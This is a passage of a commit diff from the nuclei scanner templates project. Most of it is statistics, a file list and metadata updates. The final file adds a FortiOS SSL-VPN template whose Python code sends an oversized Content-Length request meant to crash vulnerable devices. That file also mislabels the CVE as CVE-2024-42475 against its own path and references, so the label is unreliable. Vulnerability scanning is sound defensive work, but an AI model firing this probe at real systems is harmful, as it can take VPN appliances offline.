Fix CVE-2025-44177 template structure

- Fix template ID to match CVE format (protop-dir-traversal -> CVE-2025-44177)
- Add impact section describing potential consequences
- Fix tag formatting and remove spaces
- Fix vendor/product metadata to use lowercase format
- Add cve2025 tag for proper categorization

.gitignore

@@ -3,4 +3,6 @@
 local/
 .checksum
 .new-additions
-*.txt
+*.txt
+/.claude
+CLAUDE.md

.new-additions

@@ -1,67 +1,47 @@
-cloud/kubernetes/kubernetes-exposing-docker-socket-hostpath.yaml
-cloud/kubernetes/rbac/k8s-role-pod-create.yaml
-code/cves/2019/CVE-2019-0604.yaml
-code/cves/2020/CVE-2020-0646.yaml
-dns/fbi-seized-nameserver.yaml
-http/cves/2018/CVE-2018-11686.yaml
-http/cves/2018/CVE-2018-14933.yaml
-http/cves/2018/CVE-2018-19207.yaml
-http/cves/2019/CVE-2019-17564.yaml
-http/cves/2019/CVE-2019-7194.yaml
-http/cves/2019/CVE-2019-9194.yaml
-http/cves/2020/CVE-2020-11984.yaml
-http/cves/2020/CVE-2020-36333.yaml
-http/cves/2021/CVE-2021-33045.yaml
-http/cves/2023/CVE-2023-48022.yaml
-http/cves/2023/CVE-2023-7116.yaml
-http/cves/2024/CVE-2024-3272.yaml
-http/cves/2024/CVE-2024-4325.yaml
-http/cves/2024/CVE-2024-51977.yaml
-http/cves/2024/CVE-2024-51978.yaml
-http/cves/2025/CVE-2025-30220.yaml
-http/cves/2025/CVE-2025-34031.yaml
-http/cves/2025/CVE-2025-34032.yaml
-http/cves/2025/CVE-2025-3415.yaml
-http/cves/2025/CVE-2025-44148.yaml
-http/cves/2025/CVE-2025-45854.yaml
-http/cves/2025/CVE-2025-45985.yaml
-http/cves/2025/CVE-2025-47423.yaml
-http/cves/2025/CVE-2025-47646.yaml
-http/cves/2025/CVE-2025-49132.yaml
-http/cves/2025/CVE-2025-5287.yaml
-http/cves/2025/CVE-2025-5569.yaml
-http/default-logins/activemq/activemq-artemis-default-login.yaml
-http/default-logins/apache/airflow-v3-default-login.yaml
-http/default-logins/hp/hp-printer-default-login.yaml
-http/default-logins/ibm/ibm-security-verify-default-login.yaml
-http/default-logins/nuuo-nvr-default-login.yaml
-http/default-logins/opensearch-default-login.yaml
-http/default-logins/photoprism-default-login.yaml
-http/exposed-panels/beyondtrust-remotesupport-panel.yaml
-http/exposed-panels/brother-printer-panel.yaml
-http/exposed-panels/forgerock-ig-panel.yaml
-http/exposed-panels/ibm/ibm-security-verify-panel.yaml
-http/exposed-panels/motive-eim-panel.yaml
-http/exposed-panels/myq-panel.yaml
-http/exposed-panels/opensearch-dashboard-panel.yaml
-http/exposed-panels/openshift-oauth-proxy-panel.yaml
-http/exposed-panels/pterodactyl-panel.yaml
-http/exposed-panels/teleport-login-panel.yaml
-http/exposed-panels/tools4ever-ssrpm-panel.yaml
-http/exposed-panels/windows-admin-center-panel.yaml
-http/exposures/configs/apache-kyuubi-config.yaml
-http/exposures/configs/config-json-exposure-fuzz.yaml
-http/miscellaneous/discord-invite-detect.yaml
-http/misconfiguration/installer/totolink-installer.yaml
-http/misconfiguration/opensearch-dashboard-unauth.yaml
-http/misconfiguration/photoprism-unauth.yaml
-http/takeovers/greatpages-takeover.yaml
-http/technologies/apache/apache-kyuubi-detect.yaml
-http/technologies/beyondtrust-remotesupport-version.yaml
-http/technologies/cryptshare-detect.yaml
-http/technologies/mitel-version-detect.yaml
-http/vulnerabilities/dahua/dahua-icc-getclassvalue-rce.yaml
-http/vulnerabilities/totolink-boaform-rce.yaml
-http/vulnerabilities/totolink-n150rt-password-exposure.yaml
-http/vulnerabilities/ueditor-arbitrary-file-upload.yaml
-network/cves/2020/CVE-2020-0796.yaml
+http/cves/2017/CVE-2017-18349.yaml
+http/cves/2020/CVE-2020-29390.yaml
+http/cves/2024/CVE-2024-11587.yaml
+http/cves/2024/CVE-2024-29198.yaml
+http/cves/2024/CVE-2024-33832.yaml
+http/cves/2024/CVE-2024-36675.yaml
+http/cves/2024/CVE-2024-42852.yaml
+http/cves/2024/CVE-2024-50477.yaml
+http/cves/2024/CVE-2024-58136.yaml
+http/cves/2024/CVE-2024-9007.yaml
+http/cves/2025/CVE-2025-2709.yaml
+http/cves/2025/CVE-2025-2710.yaml
+http/cves/2025/CVE-2025-2711.yaml
+http/cves/2025/CVE-2025-2712.yaml
+http/cves/2025/CVE-2025-34077.yaml
+http/cves/2025/CVE-2025-34141.yaml
+http/cves/2025/CVE-2025-34143.yaml
+http/cves/2025/CVE-2025-34300.yaml
+http/cves/2025/CVE-2025-40630.yaml
+http/cves/2025/CVE-2025-49029.yaml
+http/cves/2025/CVE-2025-53770.yaml
+http/cves/2025/CVE-2025-53833.yaml
+http/cves/2025/CVE-2025-5961.yaml
+http/cves/2025/CVE-2025-6058.yaml
+http/cves/2025/CVE-2025-6851.yaml
+http/cves/2025/CVE-2025-6970.yaml
+http/exposed-panels/c2/amatera-stealer-panel.yaml
+http/exposed-panels/c2/bofamet-stealer-panel.yaml
+http/exposed-panels/c2/cyber-stealer-panel.yaml
+http/exposed-panels/c2/oxf-phaas-panel.yaml
+http/exposed-panels/saltbo-zpan-panel.yaml
+http/misconfiguration/installer/ibarn-installer.yaml
+http/misconfiguration/installer/saltbo-zpan-installer.yaml
+http/misconfiguration/installer/strongshop-installer.yaml
+http/osint/user-enumeration/luma.yaml
+http/technologies/wordpress/plugins/blocksy-companion.yaml
+http/technologies/wordpress/plugins/gosmtp.yaml
+http/technologies/wordpress/plugins/honeypot.yaml
+http/technologies/wordpress/plugins/pagelayer.yaml
+http/technologies/wordpress/plugins/pojo-accessibility.yaml
+http/technologies/wordpress/plugins/siteseo.yaml
+http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
+http/vulnerabilities/backdoor/sharepoint-toolshell-backdoor.yaml
+http/vulnerabilities/wordpress/wp-ninja-tables-lfi.yaml
+network/cves/2019/CVE-2019-5544.yaml
+network/detection/vtun-server.yaml
+network/enumeration/nats-server-enum.yaml

README.md

@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3197 | dhiyaneshdk   |  1865 | http       |  8767 | info     |  4101 | file |   435 |
-| panel     |  1317 | daffainfo     |   868 | cloud      |   655 | high     |  2406 | dns  |    25 |
-| xss       |  1245 | princechaddha |   806 | file       |   435 | medium   |  2332 |      |       |
-| wordpress |  1165 | dwisiswant0   |   805 | dast       |   255 | critical |  1368 |      |       |
-| exposure  |  1089 | ritikchaddha  |   617 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1019 | pussycat0x    |   516 | code       |   172 | unknown  |    54 |      |       |
-| osint     |   809 | pikpikcu      |   352 | network    |   140 |          |       |      |       |
-| tech      |   779 | pdteam        |   304 | javascript |    71 |          |       |      |       |
-| lfi       |   770 | ricardomaia   |   249 | ssl        |    38 |          |       |      |       |
-| rce       |   754 | pdresearch    |   244 | dns        |    22 |          |       |      |       |
+| cve       |  3248 | dhiyaneshdk   |  1872 | http       |  8877 | info     |  4144 | file |   435 |
+| panel     |  1332 | daffainfo     |   868 | cloud      |   657 | high     |  2430 | dns  |    26 |
+| xss       |  1247 | princechaddha |   826 | file       |   435 | medium   |  2364 |      |       |
+| wordpress |  1172 | dwisiswant0   |   806 | dast       |   255 | critical |  1405 |      |       |
+| exposure  |  1102 | ritikchaddha  |   634 | workflows  |   202 | low      |   319 |      |       |
+| wp-plugin |  1025 | pussycat0x    |   520 | code       |   196 | unknown  |    56 |      |       |
+| osint     |   812 | pikpikcu      |   352 | network    |   142 |          |       |      |       |
+| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   777 | pdresearch    |   261 | ssl        |    38 |          |       |      |       |
+| lfi       |   774 | iamnoooob     |   250 | dns        |    23 |          |       |      |       |
 
-**840 directories, 11107 files**.
+**845 directories, 11246 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3197},{"name":"panel","count":1317},{"name":"xss","count":1245},{"name":"wordpress","count":1165},{"name":"exposure","count":1089},{"name":"wp-plugin","count":1019},{"name":"osint","count":809},{"name":"tech","count":779},{"name":"lfi","count":770},{"name":"rce","count":754},{"name":"misconfig","count":742},{"name":"devops","count":736},{"name":"cloud","count":694},{"name":"edb","count":598},{"name":"wp","count":572},{"name":"packetstorm","count":551},{"name":"wpscan","count":534},{"name":"cve2022","count":512},{"name":"cve2021","count":512},{"name":"cve2023","count":486},{"name":"sqli","count":483},{"name":"detect","count":471},{"name":"cve2024","count":459},{"name":"login","count":440},{"name":"unauth","count":427},{"name":"authenticated","count":422},{"name":"kev","count":394},{"name":"intrusive","count":394},{"name":"file","count":377},{"name":"oast","count":272},{"name":"cve2020","count":270},{"name":"default-login","count":267},{"name":"config","count":253},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"apache","count":235},{"name":"microsoft","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":215},{"name":"malware","count":213},{"name":"token","count":211},{"name":"azure","count":210},{"name":"osint-social","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":190},{"name":"auth-bypass","count":183},{"name":"cve2018","count":181},{"name":"iot","count":180},{"name":"cve2019","count":178},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"code","count":157},{"name":"redirect","count":156},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":142},{"name":"tcp","count":139},{"name":"security","count":133},{"name":"router","count":125},{"name":"files","count":124},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":109},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"linux","count":88},{"name":"seclists","count":85},{"name":"cve2025","count":83},{"name":"oss","count":82},{"name":"privesc","count":81},{"name":"local","count":81},{"name":"takeover","count":80},{"name":"oracle","count":80},{"name":"fileupload","count":78},{"name":"js","count":75},{"name":"windows","count":73},{"name":"cisco","count":73},{"name":"enum","count":72},{"name":"windows-audit","count":70},{"name":"k8s","count":69},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"cve2015","count":61},{"name":"alibaba","count":61},{"name":"cve2016","count":60},{"name":"atlassian","count":59},{"name":"detection","count":59},{"name":"google","count":57},{"name":"vmware","count":57},{"name":"file-upload","count":57},{"name":"c2","count":57},{"name":"audit","count":55},{"name":"deserialization","count":52},{"name":"dast","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"php","count":50},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"traversal","count":47},{"name":"ssti","count":46},{"name":"aem","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aliyun","count":45},{"name":"misc","count":45},{"name":"osint-gaming","count":45},{"name":"jndi","count":44},{"name":"injection","count":44},{"name":"plugin","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"osint-porn","count":42},{"name":"fortinet","count":42},{"name":"osint-hobby","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"ibm","count":40},{"name":"postgresql","count":39},{"name":"info-leak","count":39},{"name":"miscellaneous","count":39},{"name":"dlink","count":38},{"name":"sap","count":38},{"name":"jira","count":37},{"name":"api","count":37},{"name":"cti","count":37},{"name":"wp-theme","count":36},{"name":"k8s-cluster-security","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":34},{"name":"devsecops","count":33},{"name":"fuzz","count":33},{"name":"xxe","count":32},{"name":"dns","count":31},{"name":"osint-tech","count":31},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"osint-coding","count":30},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"prestashop","count":29},{"name":"tomcat","count":28},{"name":"zoho","count":28},{"name":"yonyou","count":28},{"name"Line truncated
+{"tags":[{"name":"cve","count":3248},{"name":"panel","count":1332},{"name":"xss","count":1247},{"name":"wordpress","count":1172},{"name":"exposure","count":1102},{"name":"wp-plugin","count":1025},{"name":"osint","count":812},{"name":"tech","count":800},{"name":"rce","count":777},{"name":"lfi","count":774},{"name":"misconfig","count":751},{"name":"devops","count":740},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":575},{"name":"packetstorm","count":552},{"name":"wpscan","count":533},{"name":"cve2022","count":513},{"name":"cve2021","count":513},{"name":"cve2023","count":489},{"name":"detect","count":488},{"name":"sqli","count":486},{"name":"cve2024","count":464},{"name":"login","count":450},{"name":"unauth","count":434},{"name":"kev","count":424},{"name":"authenticated","count":423},{"name":"intrusive","count":401},{"name":"file","count":377},{"name":"oast","count":279},{"name":"default-login","count":276},{"name":"cve2020","count":276},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":217},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":211},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"auth-bypass","count":187},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"cve2019","count":182},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":156},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":140},{"name":"security","count":137},{"name":"router","count":131},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"cve2025","count":111},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":84},{"name":"takeover","count":81},{"name":"local","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":75},{"name":"js","count":75},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"file-upload","count":63},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":55},{"name":"dast","count":51},{"name":"php","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"ssti","count":46},{"name":"aem","count":46},{"name":"misc","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"plugin","count":44},{"name":"jndi","count":44},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"oa","count":43},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"miscellaneous","count":39},{"name":"api","count":38},{"name":"sap","count":38},{"name":"cti","count":37},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"osint-tech","count":31},{"name":"nginx","count":31},{"name":"graphql","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"ec2","count":30},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"prestashop","count":29},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"ftp","count":29},{"namLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3197 | dhiyaneshdk   |  1865 | http       |  8767 | info     |  4101 | file |   435 |
-| panel     |  1317 | daffainfo     |   868 | cloud      |   655 | high     |  2406 | dns  |    25 |
-| xss       |  1245 | princechaddha |   806 | file       |   435 | medium   |  2332 |      |       |
-| wordpress |  1165 | dwisiswant0   |   805 | dast       |   255 | critical |  1368 |      |       |
-| exposure  |  1089 | ritikchaddha  |   617 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1019 | pussycat0x    |   516 | code       |   172 | unknown  |    54 |      |       |
-| osint     |   809 | pikpikcu      |   352 | network    |   140 |          |       |      |       |
-| tech      |   779 | pdteam        |   304 | javascript |    71 |          |       |      |       |
-| lfi       |   770 | ricardomaia   |   249 | ssl        |    38 |          |       |      |       |
-| rce       |   754 | pdresearch    |   244 | dns        |    22 |          |       |      |       |
+| cve       |  3248 | dhiyaneshdk   |  1872 | http       |  8877 | info     |  4144 | file |   435 |
+| panel     |  1332 | daffainfo     |   868 | cloud      |   657 | high     |  2430 | dns  |    26 |
+| xss       |  1247 | princechaddha |   826 | file       |   435 | medium   |  2364 |      |       |
+| wordpress |  1172 | dwisiswant0   |   806 | dast       |   255 | critical |  1405 |      |       |
+| exposure  |  1102 | ritikchaddha  |   634 | workflows  |   202 | low      |   319 |      |       |
+| wp-plugin |  1025 | pussycat0x    |   520 | code       |   196 | unknown  |    56 |      |       |
+| osint     |   812 | pikpikcu      |   352 | network    |   142 |          |       |      |       |
+| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   777 | pdresearch    |   261 | ssl        |    38 |          |       |      |       |
+| lfi       |   774 | iamnoooob     |   250 | dns        |    23 |          |       |      |       |

code/cves/2014/CVE-2014-0160.yaml

@@ -10,7 +10,7 @@ info:
     - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
   metadata:
     verified: true
-  tags: cve,cve2014,openssl,heartbleed,code
+  tags: cve,cve2014,openssl,heartbleed,code,kev
 
 variables:
   url: "{{RootURL}}"
@@ -135,4 +135,4 @@ code:
       - type: dsl
         dsl:
           - "contains(response,'server is vulnerable')"
-# digest: 4a0a00473045022100dbbea58d04f9d75d0256102028ede5d7bf09a90175cb7dfcc7a394a9cb017e4c02205fdba48a22acce8f57cc53b0e6e2a79711a5f7d8515c4bce365d17d7b5048d56:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ed75e4d98947fd01fbc7873eeb6436b559a749bb88a5a85f71fef8c2f83f9e48022100cb170dc3f8592781394acbba1560953c29e7b0b1d36c191aee134aa6d178aa74:922c64590222798bb761d5b6d8e72950

code/cves/2017/CVE-2017-1000353.yaml

@@ -15,8 +15,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2017-1000353
     cwe-id: CWE-502
-    epss-score: 0.97201
-    epss-percentile: 0.99862
+    epss-score: 0.94421
+    epss-percentile: 0.99980
     cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
   metadata:
     vendor: jenkins
@@ -104,4 +104,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a00473045022003497add318e43154d20f752633565cadb8c406ddac3e6661b034e20594acfc1022100d947b1c765918742118b4ec4c926376292eb19715157a299d04aa01aab3fa1d6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-0604.yaml

@@ -17,6 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2019-0604
     cwe-id: CWE-20
+    epss-score: 0.94411
+    epss-percentile: 0.99974
   metadata:
     verified: true
     vendor: microsoft
@@ -152,4 +154,4 @@ code:
           - 'contains(interactsh_protocol, "dns")'
           - 'contains(interactsh_request, hex_encode(marker))'
         condition: and
-# digest: 490a00463044022069d81fdb4bdb4d4192e579e3a0a916d6b87e2b353568c031b5c72108768c76ee02202d626dd9675124c44d8ef28ef448734a9425c32f2eaacf7623a23747d14c330a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022022019f9c11593b4c5a1f55755d532f6a64858d80153beb783f2c2d61684e0439022100fd41aa3e2ae1ad5d411c2c569383a2498ebf4a48cb1a9cf01f89748879c446c7:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-14287.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 8.8
     cve-id: CVE-2019-14287
     cwe-id: CWE-755
-    epss-score: 0.30814
-    epss-percentile: 0.96854
+    epss-score: 0.84563
+    epss-percentile: 0.99279
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -47,4 +47,4 @@ code:
           - '!contains(code_1_response, "root")'
           - 'contains(code_2_response, "root")'
         condition: and
-# digest: 490a00463044022100b66bc431046c222bdbdf17c5c6b5c9743d91f902f877967c4434d46ff44bf79c021f498f3f2a5efedc922b9a142b06d7578ca7f5c9413b964c46a676b14d2f4dfa:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203ef02b5bc66bde9a84033a2d0eb02c7b2e73e3277c34377c90de755624be9ba6022055e7503686510f19241007aa2443ba097120831bbe89ba7526451d5f3aa95896:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-0646.yaml

@@ -16,7 +16,7 @@ info:
     cve-id: CVE-2020-0646
     cwe-id: CWE-91
     epss-score: 0.92775
-    epss-percentile: 0.99747
+    epss-percentile: 0.99755
     cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
   metadata:
     verified: true
@@ -102,4 +102,4 @@ code:
           - 'contains(content_type, "text/xml")'
           - 'status_code == 200'
         condition: and
-# digest: 4a0a00473045022100b6c2748a74cf076796ab726f2c2026ed63f45760043398ddb8f5b684499bca0f02201adbb3e5bedc567548b48547ac54d9a1e59c2f55ca2cb8bc107511bb8f798f2b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a9c7370f5d64f484afc46075695941e15917d5a0687dd077ae6699501475bc1c02207a3961cc5b43a81ff13243b2dbb044a37081cf76fead5b7be2c772e481685c5c:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-13935.yaml

@@ -10,6 +10,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2020-13935
+    epss-score: 0.91885
+    epss-percentile: 0.99681
   reference:
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html

code/cves/2021/CVE-2021-3156.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2021-3156
     cwe-id: CWE-193
-    epss-score: 0.97085
-    epss-percentile: 0.99757
+    epss-score: 0.92019
+    epss-percentile: 0.99693
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -40,4 +40,4 @@ code:
           - "malloc(): memory corruption"
           - "Aborted (core dumped)"
         condition: and
-# digest: 490a00463044022003e9a47a2c4c44efd51b49bbac2f179b9affcc5acfca59cac2b0b120cef766ba0220690376c3929640e6e24b046b094bc38eb63e08f4c2914c732e04919353394a1f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203288bc289d0cc0f4e06e605006f21fa1933c3a8a43067f2e9217000a34b340ae022100eb4c9a1fad050dd80783cfcff25e73bc958d1ad84a2f6f09fcbf1c0deebe680c:922c64590222798bb761d5b6d8e72950

code/cves/2022/CVE-2022-42475.yaml

@@ -0,0 +1,176 @@
+id: CVE-2024-42475
+
+info:
+  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
+  author: 0xhaggis,pszyszkowski
+  severity: critical
+  description: |
+    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
+  remediation: |
+    Fixed in:
+    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
+    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
+    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
+  reference:
+    - https://github.com/0xhaggis/CVE-2022-42475
+    - https://fortiguard.com/psirt/FG-IR-22-398
+    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
+    - https://bishopfox.com/blog/exploit-cve-2022-42475
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-42475
+    cwe-id: CWE-122
+  metadata:
+    max-request: 1
+    vendor: fortinet
+    product: fortios
+    shodan-query:
+      - port:10443 http.favicon.hash:945408572
+      - cpe:"cpe:2.3:o:fortinet:fortios"
+      - http.html:"/remote/login" "xxxxxxxx"
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import sys, os, time, socket, ssl
+      PADDING        = 0x4141414141414141
+      PADDING_LEN    = 1024*12
+      CONTENT_LENGTH = b"4294967297"
+
+      class SSLVPNExploit:
+        def __init__(self, host, port):
+          self.host = host
+          self.port = port
+        def connect(self):
+          tries = 1
+          if os.getenv("Scheme") == "https":
+            useSSL = True
+            print("[+] Using SSL/TLS")
+          else:
+            useSSL = False
+            print("[+] Unencrypted connection")
+          while tries <= 6:
+            try:
+              print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+              self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+              if useSSL == True:
+                ctx = ssl._create_unverified_context()
+                self.socket = ctx.wrap_socket(self.cleartext_socket)
+              else:
+                self.socket = self.cleartext_socket
+              self.socket.settimeout(2.0)
+              self.socket.connect((self.host, self.port))
+
+              return self.socket
+            except socket.timeout as e:
+              tries += 1
+              print("Connection timeout!")
+              continue
+            except Exception as e:
+              print("Unknown error!")
+              print(e)
+              return None
+          return None
+        def check_by_get(self):
+          get_req = bytearray(b"")
+          get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+
+          print("[>] Sending GET first")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+          try:
+            self.socket.sendall(get_req)
+
+            self.socket.settimeout(10)
+            get_buf = self.socket.recv(1048576)
+
+            if len(get_buf) == 0:
+              print("Error while sending GET. Protocol mismatch?")
+              return None
+            self.socket.close()
+            return True
+          except socket.timeout as e:
+            print("[>] Target waited for more data.")
+            return False
+
+          except Exception as e:
+            print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+            print(e)
+            return None
+
+        def is_vulnerable(self):
+          req = bytearray(b"")
+          req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+          req += b"AAAAAAAA"*(PADDING_LEN)
+
+          print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+          if self.connect() == None:
+            print("[!] Error connecting to target")
+            exit(1)
+
+          try:
+            # Send the payload. Vuln instances will crash, severing the connection and
+            # causing an exception to be thrown here.
+            self.socket.sendall(req)
+
+            # If this read succeeds then the target is probably not vulnerable.
+            # If it times out, then it's also probably not vulnerable.
+            self.socket.settimeout(10)
+            buf = self.socket.recv(1048576)
+
+            # If the remote end disconnects without an HTTP response then it's vulnerable.
+            if len(buf) == 0:
+                return True
+
+            # Check to see if it has the vendor patch applied
+            if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                print("[>] Target is patched.")
+                return False # 100% confidence that it's not vulnerable.
+
+            # Ok, something weird and unexpected happened.
+            print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
